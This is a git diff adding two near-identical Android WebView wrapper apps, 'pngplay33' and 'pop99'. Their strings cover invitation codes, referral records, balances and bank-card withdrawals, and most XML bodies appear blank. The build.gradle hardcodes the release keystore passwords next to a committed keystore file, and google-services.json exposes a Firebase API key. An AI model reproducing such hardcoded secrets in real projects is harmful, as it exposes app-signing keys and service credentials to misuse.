a/pngplay33/src/main/res/drawable/shape_dialog_bg_new.xml b/pngplay33/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/pngplay33/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/pngplay33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/pngplay33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/pngplay33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/pngplay33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/mipmap-hdpi/ic_empty.png b/pngplay33/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/pngplay33/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/pngplay33/src/main/res/mipmap-hdpi/ic_pull_down.png b/pngplay33/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/pngplay33/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/pngplay33/src/main/res/mipmap-xhdpi/ic_close.png b/pngplay33/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/pngplay33/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/pngplay33/src/main/res/mipmap-xhdpi/ic_menu.png b/pngplay33/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/pngplay33/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/pngplay33/src/main/res/mipmap-xxhdpi/app_logo.jpg b/pngplay33/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..8a6485a Binary files /dev/null and b/pngplay33/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/pngplay33/src/main/res/values-en/strings.xml b/pngplay33/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/pngplay33/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/pngplay33/src/main/res/values-night/themes.xml b/pngplay33/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/pngplay33/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/values/colors.xml b/pngplay33/src/main/res/values/colors.xml new file mode 100644 index 0000000..2f9051c --- /dev/null +++ b/pngplay33/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #030303 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/pngplay33/src/main/res/values/strings.xml b/pngplay33/src/main/res/values/strings.xml new file mode 100644 index 0000000..85b60c3 --- /dev/null +++ b/pngplay33/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + PNGPLAY33 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/values/themes.xml b/pngplay33/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/pngplay33/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/xml/app_updater_paths.xml b/pngplay33/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/pngplay33/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/xml/network_security_config.xml b/pngplay33/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/pngplay33/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/xml/provider_paths.xml b/pngplay33/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/pngplay33/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/pngplay33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/pngplay33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/pngplay33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/pop99/.gitignore b/pop99/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/pop99/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/pop99/build.gradle b/pop99/build.gradle new file mode 100644 index 0000000..2c5dafc --- /dev/null +++ b/pop99/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.pop99" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "pop99" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base') +} \ No newline at end of file diff --git a/pop99/google-services.json b/pop99/google-services.json new file mode 100644 index 0000000..36feff9 --- /dev/null +++ b/pop99/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "230681941564", + "project_id": "pop99-3cc2b", + "storage_bucket": "pop99-3cc2b.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:230681941564:android:84a0f2f5cdb5724283d539", + "android_client_info": { + "package_name": "com.web.pop99" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDuCwriIxj8u6lS96A9v1cqrDENvkmvAcY" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/pop99/ppn.jks b/pop99/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/pop99/ppn.jks differ diff --git a/pop99/proguard-rules.pro b/pop99/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/pop99/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/pop99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/pop99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/pop99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/pop99/src/main/AndroidManifest.xml b/pop99/src/main/AndroidManifest.xml new file mode 100644 index 0000000..bb5602f --- /dev/null +++ b/pop99/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pop99/src/main/java/com/web/rebate99/MainActivity.java b/pop99/src/main/java/com/web/rebate99/MainActivity.java new file mode 100644 index 0000000..f7d7465 --- /dev/null +++ b/pop99/src/main/java/com/web/rebate99/MainActivity.java @@ -0,0 +1,44 @@ +package com.web.pop99; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 147; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://pingpangahh.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#ff7a03"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#fbdfb0"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/pop99/src/main/java/com/web/rebate99/MyFirebaseMessageingService.java b/pop99/src/main/java/com/web/rebate99/MyFirebaseMessageingService.java new file mode 100644 index 0000000..90acda4 --- /dev/null +++ b/pop99/src/main/java/com/web/rebate99/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.pop99; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/pop99/src/main/java/com/web/rebate99/WebApplication.java b/pop99/src/main/java/com/web/rebate99/WebApplication.java new file mode 100644 index 0000000..847649b --- /dev/null +++ b/pop99/src/main/java/com/web/rebate99/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.pop99; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/pop99/src/main/res/drawable-anydpi/ic_action_back.xml b/pop99/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/pop99/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/pop99/src/main/res/drawable-hdpi/ic_action_back.png b/pop99/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/pop99/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/pop99/src/main/res/drawable-mdpi/ic_action_back.png b/pop99/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/pop99/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/pop99/src/main/res/drawable-v24/ic_launcher_foreground.xml b/pop99/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/pop99/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/pop99/src/main/res/drawable-xhdpi/ic_action_back.png b/pop99/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/pop99/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/pop99/src/main/res/drawable-xxhdpi/ic_action_back.png b/pop99/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/pop99/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/pop99/src/main/res/drawable/big_bg.xml b/pop99/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..230dbb3 --- /dev/null +++ b/pop99/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/pop99/src/main/res/drawable/ic_launcher_background.xml b/pop99/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/pop99/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pop99/src/main/res/drawable/input_bg.xml b/pop99/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/pop99/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/pop99/src/main/res/drawable/pass_word_bg.xml b/pop99/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/pop99/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/pop99/src/main/res/drawable/pass_word_bg1.xml b/pop99/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/pop99/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/pop99/src/main/res/drawable/pass_word_bg2.xml b/pop99/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/pop99/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/pop99/src/main/res/drawable/shape_btn_bg.xml b/pop99/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/pop99/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pop99/src/main/res/drawable/shape_dialog_bg2.xml b/pop99/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/pop99/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/pop99/src/main/res/drawable/shape_dialog_bg3.xml b/pop99/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/pop99/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pop99/src/main/res/drawable/shape_dialog_bg_new.xml b/pop99/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/pop99/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pop99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/pop99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/pop99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pop99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/pop99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/pop99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pop99/src/main/res/mipmap-hdpi/ic_empty.png b/pop99/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/pop99/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/pop99/src/main/res/mipmap-hdpi/ic_pull_down.png b/pop99/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/pop99/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/pop99/src/main/res/mipmap-xhdpi/ic_close.png b/pop99/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/pop99/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/pop99/src/main/res/mipmap-xhdpi/ic_menu.png b/pop99/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/pop99/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/pop99/src/main/res/mipmap-xxhdpi/app_logo.jpg b/pop99/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..de04a7c Binary files /dev/null and b/pop99/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/pop99/src/main/res/values-en/strings.xml b/pop99/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/pop99/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/pop99/src/main/res/values-night/themes.xml b/pop99/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/pop99/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pop99/src/main/res/values/colors.xml b/pop99/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/pop99/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/pop99/src/main/res/values/strings.xml b/pop99/src/main/res/values/strings.xml new file mode 100644 index 0000000..935f424 --- /dev/null +++ b/pop99/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + POP99 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pop99/src/main/res/values/themes.xml b/pop99/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ b/pop99/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pop99/src/main/res/xml/app_updater_paths.xml b/pop99/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/pop99/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git 